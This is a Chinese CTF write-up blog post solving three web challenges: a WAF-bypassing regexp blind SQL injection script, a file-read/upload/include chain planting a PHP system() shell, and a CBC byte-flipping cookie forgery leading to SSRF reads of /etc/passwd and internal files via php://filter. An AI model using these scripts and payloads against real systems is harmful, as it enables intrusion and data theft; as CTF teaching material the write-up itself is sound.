Sky's blog

有点意思的3道web题

字数统计: 3,441阅读时长: 16 min
2018/01/27 Share

前言

昨晚看完了前任3,虐的有点厉害……写篇博客压压惊
(哎……所有的分手总有一个人先放弃,两情相悦总归也有付出更多的那一方,选择一个更爱你的人,还是你更爱的人是一个值得思考的问题)

绕过云waf

题目简述

题目来自最近的xctf赛博地球杯工业互联网安全大赛,是一道比较有趣的云waf绕过题目,题目过滤比较多,留下能用的只有like,regexp等为数不多的函数,这里我将介绍两种方法:

题目解法一

这是属于比较常规的思路,即fuzz一下过滤参数,然后找到未被过滤的参数,进行拼接绕过waf,这里题目限制严格,而手动测试容易得知:

1
2
1.	or的过滤可以用||绕过
2. 空格的过滤可用%0a绕过

而后我们知道flag是当前表字段pass的值,那么问题来了
如何去注入得到这个值?
一般的方法是构造:

1
2
3
4
5
6
7
8
Username = '||%0apass%0aregexp%0a'flag{……
```
而此我们正是用正则一位一位去匹配注入,得到想要的值
但是问题直接来了:
首先是通配符的问题,可以直接满足脚本,例如`flag{____________}`,这显然不是我们想要的值
然后大小问题的区分,比如flag为flag{Xctf_Enc},而我们得到的却是flag{xctf_enc},这样也是不可取的
所以这里需要用到另一个参数binary
此时可以组合使用:

REGEXP BINARY

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
这样就可以成功的大小写识别了,实现区分大小写的正则注入
我的脚本如下:
```python
#!/usr/bin/env python
# encoding: utf-8
import requests
import urllib
import string
payload = "flag{"
flag = payload
url = "http://qcloudcetc.xctf.org.cn:8099/findpwd.php"
for i in range(1,1000):
for j in string.letters+"1234567890!@#$%^&*()_-+=}?":
payload += j
data = {
"username":urllib.unquote("'||%0apass%0aregexp%0abinary%0a'")+payload
}
print data
r = requests.post(url=url,data=data)
if "您的密保问题是cetc" in r.content:
flag = payload
print flag
break
else:
payload = flag

题目解法二

由于题目是云waf,这里还存在一个十分XD的解法
即构造超长字符串,可以使云waf不再对我们的数据进行检测,从而直接绕过云waf
如图:我们可以直接无视云waf,使用union select注入,此时的页面失去云waf的保护变得不堪一击。

有趣的组合拳

题目简介

题目同样来自最近的xctf赛博地球杯工业互联网安全大赛,考点也比较多,考察了代码审计与综合应用的能力,考察点为以下几步:

1
2
3
1.任意文件读取
2.上传文件绕过
3.文件包含

题目解法

题目给出了文件泄露:.index.php.swn
拿到源码后发现关键函数1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function download($adfile, $file){
//Only Administrators can download files .
$cert = 'N';
if(isset($adfile) && file_get_contents($adfile, 'r') === 'Yeah Everything Will Be Ok My Boss') {
echo "Welcome ! You Are Administrator !";
$cert = 'Y';
}else{
echo "error1";
}
if ($cert === 'Y'){
if (stripos($file, 'file_list') != false) die('error4');
if (stripos($file, 'file_list') >= 0) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename='. basename($file));
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
}else{
die('error2');
}
}else{
echo 'error3';
}
}

关键函数2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function autoload($page) {
if (stripos($_SERVER['QUERY_STRING'], 'flag') > 0) {
die('no flag flag flag flag !');
}
if (stripos($_SERVER['QUERY_STRING'], 'uploaded') > 0) {
die('no uploaded uploaded uploaded uploaded !');
}
if (stripos($_SERVER['QUERY_STRING'], '://f') > 0) {
die('no ://f ://f ://f');
}
if (stripos($_SERVER['QUERY_STRING'], 'ata') > 0) {
die('no ata ata ata');
}
if (stripos($_SERVER['QUERY_STRING'], '0') > 0) {
die('no 0 0 0');
}
if(file_exists("./includes/$page.php")) {
include "./includes/$page.php";
}
elseif(file_exists("./includes/$page")) {
include "./includes/$page";
}else{
echo "File is not exit ";
}
}

关键函数1告诉我们:可以读文件
关键函数2告诉我们:存在文件包含
所以现在的思路比较清晰:

1
2
3
1.	利用关键函数1去读上传的代码,找到上传漏洞
2. 利用上传功能上传我们的恶意文件
3. 利用文件包含去包含我们的恶意文件,拿到flag

首先看关键函数1:
有一个检测:

1
if(isset($adfile) && file_get_contents($adfile, 'r') === 'Yeah Everything Will Be Ok My Boss')

此处我们容易利用php://input伪协议轻松绕过

所以可以轻松拿到upload.php的源码
而在upload.php中我们容易发现几处关键代码:

1
2
3
  if (substr($name, -3, 3) !== 'zip' && substr($name, -3, 3) !== 'jpg' && substr($name, -3, 3) !== 'png') {
die('file can not upload ! ');
}

此处限制了只能上传zip,jpg,png

1
2
3
4
if($type !== "application/zip" || $size > 400)//condition for the file
{
die("Format not allowed or file size too big!");
}

此处限制了格式问题,这里抓包可以轻松改掉

1
2
3
4
5
6
7
8
if(file_exists('includes')){
move_uploaded_file($temp, "includes/uploaded/" .$name);
echo "Upload complete a!";
shell_exec('sh /var/www/html/includes/unzip.sh');
}elseif(file_exists('uploaded')){
move_uploaded_file($temp, "uploaded/" .$name);
echo "Upload complete!";
shell_exec('sh /var/www/html/includes/unzip.sh');

此处对我们上次的文件进行了一个处理,而处理脚本是unzip.sh
所以下一步我们要去读这个文件

1
2
3
4
5
6
7
8
9
10
11
12
!#/bin/bash
cd ./uploaded
find ./ -size +1M | xargs rm
cd ../
unzip -o ./uploaded/*.zip -d ./uploaded/
rm -rf ./uploaded/*.zip
rm -rf ./uploaded/*.*
rm -rf ./uploaded/.*
cd ./uploaded
find -type d | xargs rm -rf
touch /var/www/html/includes/uploaded/index.php
chmod 000 /var/www/html/includes/uploaded/index.php

容易发现这个脚本将我们上传的zip解压,并删除

1
2
3
rm -rf ./uploaded/*.zip
rm -rf ./uploaded/*.*
rm -rf ./uploaded/.*

这里我们容易发现一个问题,就是如果不带后缀的话,将不会被匹配,也就意味着上传成功,不会被删除
所以我的做法如下:
生成一个名为sky的文件,写入内容

1
2
3
<?php
system('cat flag/flag/flag/flag/flag/flag/flag.php');
?>

然后压缩上传,抓包改Content-Type即可
然后上传后我们得到文件路径:
http://47.104.188.226:20001/includes/uploaded/sky
此时就需要用到之前提到的文件包含功能
http://47.104.188.226:20001/index.php?uploaded&page=uploaded/sky
然后根据

1
2
3
if(file_exists("./includes/$page.php")) {
include "./includes/$page.php";
}

我们包含后的文件变成
http://47.104.188.226:20001/index.php?uploaded&page=uploaded/sky.php
此时即可拿到flag

CBC-SSRF

题目简介

题目来自CUMT2018校赛,改编自山科大的一道CBC字节翻转的题目。
主要考察点:

1
2
3
1.	CBC字节翻转攻击突破登录限制
2. Curl读hosts发现内网
3. 利用curl进行内网攻击

前引知识

以前在另一篇文章中提过,这里再简单说一下CBC字节翻转攻击

关注这个解密过程
但这时,我们是已知明文,想利用iv去改变解密后的明文
比如我们知道明文解密后是1dmin
我们想构造一个iv,让他解密后变成admin
还是原来的思路
原来的Iv[1]^middle[1]=plain[1]
而此时
我们想要
构造的iv[1]^mddle[1]=’a’
所以我们可以得到
构造的iv[1] = middle[1]^’a’
middle[1]=原来的iv[1]^plain[1]
所以最后可以得到公式
构造的iv[1]= 原来的iv[1]^plain[1]^’a’
所以即可造成数据的伪造
我们可以用这个式子,遍历明文,构造出iv,让程序解密出我们想要的明文

题目解法

进去后发现是一个登陆页面

尝试登陆

得到回显

尝试其他

感觉上十分矛盾,需要admin登陆,却又不能用admin登陆
此时扫描一波目录,容易得到admin.php和login.php~的文件泄露
尝试直接访问admin.php
得到回显

阅读login.php~的文件泄露



关键点如上
Login函数会把info变量当做明文,用随机生成的token作为iv进行aes-128-cbc方式的加密,其中,密钥我们是不知道的
然后会把加密后的密文base64后赋值到cookie里的cipher,把iv的base64后的值赋值到cookie里的token
然后继续审计

Is_admin()函数是我们欺骗的关键
这里他将token和cipher解base64还原,然后进行解密
再将明文反序列化
如果反序列化成功,那么反序列化后的username字段会被赋值到session的username,否则将反序列化失败的明文的base64打印出来
继续往后看

登录的时候会把用户名和密码进行序列化,传递给login()函数进行加密

然后经过is_admin()函数进行解密判断,如果成为admin就登录成功
那么下面我们开始构造
首先我们得研究清楚,反序列化后是什么
如果我们用

1
username=admin&password=123

进行登录
序列化后得到

1
a:2:{s:8:"username";s:5:"admin";s:8:"password";s:3:"123";}

但是这样显然不能成功,因为题目过滤了admin,所以我们尝试用1dmin
这样序列化后的结果

1
a:2:{s:8:"username";s:5:"1dmin";s:8:"password";s:3:"123";}

按照aes-128-cbc的分组方式将序列化分组,即16个一组
得到如下排列:

根据cbc翻转攻击的方式:
我们改变iv的某个字符将会影响第一组对应字符位置的值,
改变第一组某个字符将会影响第二组对应字符位置的值
那么我们现在想把第二组的1dmin的‘1’改为‘a’
即:第二组的第10位改变成‘a’
所以可以应用cbc翻转攻击的公式

1
替换后的ord_new = ord(‘"’)^ord(‘a’)^ord(‘1’)

也就是说将此时的第一组的第10个字符改成chr(ord_new)即可
(注:双引号是第一组的第10个字符,1是第二组的第10个字符,a是我们想要的字符)
我们测试一下
脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import urllib
import requests
import re
import base64
url = "http://123.206.222.169:50001/login.php"
data = {
"logname":"1dmin",
"logpass":"123"
}
r = requests.post(url=url,data=data)
list = r.headers['Set-Cookie'].split(", ")
token = urllib.unquote(list[1][6:])
cipher = base64.b64decode(urllib.unquote(list[2][7:]))
phpsessid = list[0].split(";")[0][10:]
block = []
for i in range(0,len(cipher),16):
block.append(cipher[i:i+16])
replace = chr(ord(block[0][9]) ^ ord('1') ^ ord('a'))
block[0] = block[0][:9]+replace+block[0][10:]
token = base64.b64decode(token)
cipher_new = ""
for i in range(0,len(block)):
cipher_new += block[i]
cookie={
"PHPSESSID":phpsessid,
"cipher":urllib.quote(base64.b64encode(cipher_new)),
"token":urllib.quote(base64.b64encode(token))
}
s = requests.get(url=url,cookies=cookie)
print s.content

得到回显:

解一下base64得到:

1
~£66å•KúÚFž‰me";s:5:"admin";s:8:"password";s:3:"123";}

发现我们构造后的密文不可被序列化的原因是,我们一开始伪造第二组数据的时候改变了第一组的数据,导致第一组成了乱码
此时想到还需要二次构造,利用我们知道的iv,再次伪造第一组数据,将其变为一开始的a:2:{s:8:"userna
这里的操作还和上次一样,利用公式即可
我直接附上完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import urllib
import requests
import re
import base64
url = "http://123.206.222.169:50001/login.php"
data = {
"logname":"1dmin",
"logpass":"123"
}
r = requests.post(url=url,data=data)
list = r.headers['Set-Cookie'].split(", ")
token = urllib.unquote(list[1][6:])
cipher = base64.b64decode(urllib.unquote(list[2][7:]))
phpsessid = list[0].split(";")[0][10:]
block = []
for i in range(0,len(cipher),16):
block.append(cipher[i:i+16])
replace = chr(ord(block[0][9]) ^ ord('1') ^ ord('a'))
block[0] = block[0][:9]+replace+block[0][10:]
token = base64.b64decode(token)
cipher_new = ""
for i in range(0,len(block)):
cipher_new += block[i]
cookie={
"PHPSESSID":phpsessid,
"cipher":urllib.quote(base64.b64encode(cipher_new)),
"token":urllib.quote(base64.b64encode(token))
}
s = requests.get(url=url,cookies=cookie)
print s.content
res_tr = r"<p>base64_decode(.*?)can't unserialize</p>"
m_tr = re.findall(res_tr,s.content)
base = m_tr[0][2:-3]
plain = base64.b64decode(base)[:16]
want = 'a:2:{s:8:"userna'
first_16 = ''
for i in range(16):
first_16 += chr(ord(plain[i]) ^ ord(token[i]) ^ ord(want[i]))
newiv = first_16
cookie={
"PHPSESSID":phpsessid,
"cipher":urllib.quote(base64.b64encode(cipher_new)),
"token":urllib.quote(base64.b64encode(newiv))
}
k = requests.get(url=url,cookies=cookie)
print phpsessid

此时我们可以得到一个phpsessionid了

1
j8cbomulc1dijjdja3dnpm1ji6

此时我们的构造成功,此phpsessionid的username就是admin
我们用cookieedit改变一下

保存后访问admin.php
得到回显

此时我们登录成功
观察url

1
http://123.206.222.169:50001/admin.php?url=http://skysec.top/

猜测是一个ssrf
尝试file://读文件

1
http://123.206.222.169:50001/admin.php?url=file://skysec.top/

得到回显

发现file被过滤了,这里想到上次乐清小俊杰的过滤
我们尝试大小写绕过

1
http://123.206.222.169:50001/admin.php?url=File:///etc/passwd

成功读取文件

找寻一番,发现没有flag的踪迹
于是读etc/hosts文件

1
http://123.206.222.169:50001/admin.php?url=File:///etc/hosts

看到回显

发现有172.17.0.1的内网

1
访问http://123.206.222.169:50001/admin.php?url=172.17.0.1

发现是空白页面,右键查看源代码

发现有读文件
但是有过滤
这里我们选择使用
php://filter/read=convert.base64-encode/resource的读取方式
看index.php

1
http://123.206.222.169:50001/admin.php?url=172.17.0.1?file=php://filter/read=convert.base64-encode/resource=index.php

回显

1
PD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWluY2x1ZGUgImZsYWcucGhwIjsKCWlmKCEkX0dFVFsnZmlsZSddKQoJCXsKCQkJZWNobyBmaWxlX2dldF9jb250ZW50cygiLi9pbmRleC5waHAiKTsKCQl9CgkkZmlsZT0kX0dFVFsnZmlsZSddOwoJaWYoc3Ryc3RyKCRmaWxlLCIuLi8iKXx8c3RyaXN0cigkZmlsZSwgInRwIil8fHN0cmlzdHIoJGZpbGUsImlucHV0Iil8fHN0cmlzdHIoJGZpbGUsImRhdGEiKSkKCXsKCQllY2hvICJPaCBubyEiOwoJCWV4aXQoKTsKCX0KCWluY2x1ZGUoJGZpbGUpOyAKPz4K

发现可以成功读取
于是猜想到可能存在flag.php
尝试

1
http://123.206.222.169:50001/admin.php?url=172.17.0.1?file=php://filter/read=convert.base64-encode/resource=flag.php

得到回显

1
PD9waHAgCi8vZWNobyAiY3VtdGN0Zntza3lfYW5kX2hpc19jYmNfaXNfc29fY29vbD99IjsKPz4KCg==

解码即可得到flag

1
2
3
<?php 
//echo "cumtctf{sky_and_his_cbc_is_so_cool?}";
?>

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. 绕过云waf
    1. 2.1. 题目简述
    2. 2.2. 题目解法一
    3. 2.3. 题目解法二
  3. 3. 有趣的组合拳
    1. 3.1. 题目简介
    2. 3.2. 题目解法
  4. 4. CBC-SSRF
    1. 4.1. 题目简介
    2. 4.2. 前引知识
    3. 4.3. 题目解法